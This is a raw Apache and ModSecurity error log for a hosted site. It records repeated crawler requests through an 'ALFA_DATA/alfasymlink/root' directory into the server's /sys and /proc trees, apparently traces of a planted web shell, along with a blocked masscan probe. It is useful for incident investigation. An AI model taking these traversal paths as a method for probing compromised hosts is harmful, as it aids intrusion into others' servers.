[Mon Oct 26 14:57:19.384725 2026] [core:error] [pid 3084019:tid 3084019] (13)Permission denied: [client 3.219.81.66:37588] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty1/subsystem/ttyS0/subsystem/ttyS1/io_type
[Mon Oct 26 14:57:24.846684 2026] [ssl:error] [pid 3084007:tid 3084007] (70014)End of file found: [client 34.239.197.197:63928] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:57:28.034515 2026] [ssl:error] [pid 3064975:tid 3064975] (2)No such file or directory: [client 34.226.89.140:18435] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:57:41.695483 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 34.231.118.144:17338] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:57:43.587280 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 54.156.124.2:23709] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:57:47.548064 2026] [ssl:error] [pid 3084007:tid 3084007] (70014)End of file found: [client 18.209.201.119:31321] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:57:47.548563 2026] [security2:error] [pid 3084007:tid 3084007] [client 18.209.201.119:31321] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/driver/module/initsize"] [unique_id "at-iqxrehvC7c7rdooIrXwAAABs"]
[Mon Oct 26 14:57:47.548597 2026] [security2:error] [pid 3084007:tid 3084007] [client 18.209.201.119:31321] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/driver/module/initsize"] [unique_id "at-iqxrehvC7c7rdooIrXwAAABs"]
[Mon Oct 26 14:57:51.622095 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 50.16.216.166:17011] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:57:59.436840 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 85.208.96.201:27382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dquot/hwcache_align
[Mon Oct 26 14:58:04.181564 2026] [core:error] [pid 3074879:tid 3074879] (13)Permission denied: [client 18.214.238.178:13637] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:04.0/rescan
[Mon Oct 26 14:58:07.814841 2026] [ssl:error] [pid 3084019:tid 3084019] (70014)End of file found: [client 44.206.65.8:14317] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:58:15.770891 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 18.233.24.238:30204] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:58:44.014397 2026] [ssl:error] [pid 3074879:tid 3074879] (5)Input/output error: [client 54.156.248.117:39351] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:58:47.816178 2026] [ssl:error] [pid 3084019:tid 3084019] (70014)End of file found: [client 44.194.139.149:46886] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:58:51.738690 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 52.54.95.127:9688] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/device:19/subsystem/devices/device:13/eject
[Mon Oct 26 14:58:55.846639 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 98.84.70.201:59162] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:59:00.043006 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 23.23.214.190:37889] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/ata_piix/unbind
[Mon Oct 26 14:59:03.864728 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 100.29.128.75:5788] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:59:07.866187 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.196.237.236:55823] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:59:19.878737 2026] [ssl:error] [pid 3084080:tid 3084080] (70014)End of file found: [client 54.84.161.62:56388] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:59:27.789361 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 98.84.200.43:9831] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:59:35.776836 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 18.232.36.1:18159] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:59:39.914179 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 34.227.234.246:50411] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:59:44.086560 2026] [ssl:error] [pid 3084080:tid 3084080] (5)Input/output error: [client 3.225.9.97:16780] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:59:55.804065 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 34.231.77.232:34292] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:59:59.870651 2026] [ssl:error] [pid 3083765:tid 3083765] (5)Input/output error: [client 3.226.34.98:63058] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:00:02.981073 2026] [security2:error] [pid 3052342:tid 3052342] [client 107.172.76.131:56123] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-jJXNsi4cqo2ItOKeAnwAAAAM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 15:00:02.981125 2026] [security2:error] [pid 3052342:tid 3052342] [client 107.172.76.131:56123] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-jJXNsi4cqo2ItOKeAnwAAAAM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 15:00:03.689720 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 3.211.181.86:10129] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:00:07.295541 2026] [core:error] [pid 3084048:tid 3084048] (13)Permission denied: [client 185.191.171.18:12768] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/partial
[Mon Oct 26 15:00:16.980905 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.54.95.127:30476] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:00:27.335603 2026] [security2:error] [pid 3084048:tid 3084048] [client 51.81.104.47:22278] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/sesion3/index.html"] [unique_id "at-jS1MLACrxJrhwfz11-gAAAC8"]
[Mon Oct 26 15:00:27.335655 2026] [security2:error] [pid 3084048:tid 3084048] [client 51.81.104.47:22278] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/sesion3/index.html"] [unique_id "at-jS1MLACrxJrhwfz11-gAAAC8"]
[Mon Oct 26 15:00:27.798282 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 54.235.191.179:21461] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:03/physical_node/driver/bind
[Mon Oct 26 15:00:27.836297 2026] [security2:error] [pid 3065807:tid 3065807] [client 107.172.76.131:56115] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-jPxjIL9Z3tuLhXUCuLAAAAAc"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 15:00:27.836341 2026] [security2:error] [pid 3065807:tid 3065807] [client 107.172.76.131:56115] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-jPxjIL9Z3tuLhXUCuLAAAAAc"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 15:00:35.833623 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.205.113.104:47634] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:00:44.084458 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.85.109.140:12018] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:00:44.411785 2026] [core:error] [pid 3084080:tid 3084080] (13)Permission denied: [client 85.208.96.201:30482] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/shrink
[Mon Oct 26 15:00:51.914987 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 18.215.112.101:28360] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:00:55.798728 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.71.218.25:10383] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:00:59.762230 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.45.92.83:16989] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:01:03.712603 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 98.83.178.66:1723] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:01:04.628768 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 185.191.171.19:45568] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/aliases
[Mon Oct 26 15:01:19.751794 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 44.206.65.8:5769] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:01:27.901360 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 54.87.62.248:13385] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:01:43.865736 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 35.170.205.140:54801] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:01:51.850645 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 3.217.171.106:6320] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:01:59.741768 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.54.15.103:38342] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:02:04.066874 2026] [core:error] [pid 3084087:tid 3084087] (13)Permission denied: [client 18.214.251.19:1292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory9/node0/cpu0/crash_notes
[Mon Oct 26 15:02:23.298385 2026] [core:error] [pid 3084087:tid 3084087] (13)Permission denied: [client 85.208.96.200:61374] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uts_namespace/min_partial
[Mon Oct 26 15:02:37.848536 2026] [security2:error] [pid 3082381:tid 3082381] [client 103.158.121.21:61688] ModSecurity: Warning. Matched phrase "masscan" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id "913100"] [rev "2"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: masscan found within REQUEST_HEADERS:User-Agent: ivre-masscan/1.3 https://github.com/robertdavidgraham/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.sherwinpinturas.com"] [uri "/admin/config.php"] [unique_id "at-jzc0m493Zc8QU76tiRwAAAA0"]
[Mon Oct 26 15:02:37.907667 2026] [security2:error] [pid 3082381:tid 3082381] [client 103.158.121.21:61688] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.sherwinpinturas.com"] [uri "/admin/config.php"] [unique_id "at-jzc0m493Zc8QU76tiRwAAAA0"]
[Mon Oct 26 15:02:37.932628 2026] [security2:error] [pid 3082381:tid 3082381] [client 103.158.121.21:61688] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.sherwinpinturas.com"] [uri "/admin/config.php"] [unique_id "at-jzc0m493Zc8QU76tiRwAAAA0"]
[Mon Oct 26 15:02:37.933865 2026] [security2:error] [pid 3082381:tid 3082381] [client 103.158.121.21:61688] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request Missing a Host Header"] [tag "event-correlation"] [hostname "server.sherwinpinturas.com"] [uri "/403.shtml"] [unique_id "at-jzc0m493Zc8QU76tiRwAAAA0"]
[Mon Oct 26 15:02:39.388260 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 85.208.96.202:41598] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:02:51.734807 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 52.204.89.12:41080] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:03:00.029078 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 98.83.94.113:15377] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:03:07.792154 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 54.159.98.248:29919] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:03:16.259145 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 107.20.255.194:50677] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:03:27.706342 2026] [security2:error] [pid 3082381:tid 3082381] [client 54.83.240.58:36772] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:01/PNP0501:00/subsystem/devices/LNXCPU:00/physical_node/driver/cpu1/node0/memory23/power/"] [unique_id "at-j_80m493Zc8QU76tiSgAAAA0"]
[Mon Oct 26 15:03:27.706403 2026] [security2:error] [pid 3082381:tid 3082381] [client 54.83.240.58:36772] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:01/PNP0501:00/subsystem/devices/LNXCPU:00/physical_node/driver/cpu1/node0/memory23/power/"] [unique_id "at-j_80m493Zc8QU76tiSgAAAA0"]
[Mon Oct 26 15:03:31.704552 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 85.208.96.203:24716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/jbd2/sections/__ksymtab_strings
[Mon Oct 26 15:03:31.709476 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 44.197.76.210:47094] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:03:35.954653 2026] [ssl:error] [pid 3084080:tid 3084080] (70014)End of file found: [client 54.163.169.168:5003] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:03:39.789441 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 44.210.213.220:62640] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:03:47.810540 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 18.214.251.19:60417] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:03:52.160954 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.200.251.20:56300] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:04:07.878107 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 52.54.15.103:24774] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/firmware_node/physical_node/driver/unbind
[Mon Oct 26 15:04:16.302174 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 185.191.171.17:58006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/cpu_partial
[Mon Oct 26 15:04:24.842745 2026] [ssl:error] [pid 3084080:tid 3084080] (70014)End of file found: [client 3.220.70.171:37814] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:04:28.161472 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 44.205.180.155:41867] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:04:35.777573 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 184.73.195.18:33871] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:04:39.741724 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.71.203.206:28478] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:04:43.801813 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 3.218.103.254:36201] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/firmware_node/subsystem/drivers/button/unbind
[Mon Oct 26 15:04:47.771587 2026] [ssl:error] [pid 3084080:tid 3084080] (70014)End of file found: [client 3.226.34.98:34889] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:04:51.813096 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 44.193.115.232:33495] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:05:19.708845 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 34.225.24.180:11158] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:05:27.961721 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 35.174.253.85:8789] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:05:39.771605 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 35.174.141.243:63543] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:05:51.921916 2026] [ssl:error] [pid 3084080:tid 3084080] (70014)End of file found: [client 52.45.194.165:16354] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:05:55.765533 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 52.22.64.232:38899] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:06:11.901695 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 3.94.156.104:3431] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:06:15.799412 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 23.21.227.240:44903] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:06:20.866142 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.212.86.97:26942] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:06:23.911665 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 52.5.232.250:1285] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:06:29.663315 2026] [security2:error] [pid 3083765:tid 3083765] [client 107.172.76.131:56143] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-kqaFL9aMETz-8AU8dIAAAAAQ"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 15:06:29.663365 2026] [security2:error] [pid 3083765:tid 3083765] [client 107.172.76.131:56143] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-kqaFL9aMETz-8AU8dIAAAAAQ"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 15:06:35.701048 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.204.150.196:24312] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:07:03.937680 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 54.144.185.255:42237] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:07:07.936172 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 50.16.248.61:57061] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:07:12.083772 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.227.180.70:22165] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:07:15.955491 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.83.56.1:30524] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:07:19.771369 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 44.220.2.97:19556] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:07:35.901807 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 44.206.65.8:18413] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:07:47.669345 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 44.212.131.50:34629] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:07:51.725998 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 3.225.9.97:45594] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:07:52.905743 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 85.208.96.202:26446] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/free_calls
[Mon Oct 26 15:07:55.977859 2026] [ssl:error] [pid 3084080:tid 3084080] (70014)End of file found: [client 34.205.163.103:43383] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:08:00.082782 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 18.232.11.247:21692] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:08:19.911728 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.211.105.134:31174] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:08:27.822987 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 52.44.229.124:10440] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:08:31.814531 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 18.213.70.100:31584] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/piix4_smbus/module/uevent
[Mon Oct 26 15:08:35.412050 2026] [core:error] [pid 3084080:tid 3084080] (13)Permission denied: [client 185.191.171.1:60288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/filp/objs_per_slab
[Mon Oct 26 15:08:36.138544 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 54.204.12.115:60945] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/node0/cpu1/crash_notes_size
[Mon Oct 26 15:08:39.812464 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 100.24.149.244:32199] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty12/subsystem/ttyS1/subsystem/ttyS0/device/tty/ttyS3/port
[Mon Oct 26 15:08:48.287294 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 54.243.63.52:21205] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:08:59.800843 2026] [security2:error] [pid 3084056:tid 3084056] [client 34.202.88.37:6306] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/slots/4/"] [unique_id "at-lS3KvFNFM41eF9IjkqQAAADc"]
[Mon Oct 26 15:08:59.800947 2026] [security2:error] [pid 3084056:tid 3084056] [client 34.202.88.37:6306] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/slots/4/"] [unique_id "at-lS3KvFNFM41eF9IjkqQAAADc"]
[Mon Oct 26 15:09:01.329050 2026] [authz_core:error] [pid 3085795:tid 3085795] [client 16.216.88.122:2048] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Mon Oct 26 15:09:19.867230 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 52.2.83.227:49711] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:09:24.011034 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 98.83.178.66:40190] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/PNP0A06:00/subsystem/drivers_probe
[Mon Oct 26 15:09:28.084301 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 18.211.39.188:62543] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:09:31.950325 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.198.33.233:4102] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:09:44.062147 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 3.221.244.28:22451] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:09:52.200757 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 44.206.65.8:16161] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:09:59.815454 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 3.218.35.239:23583] AH02013: coalesce failed to read from data bucket
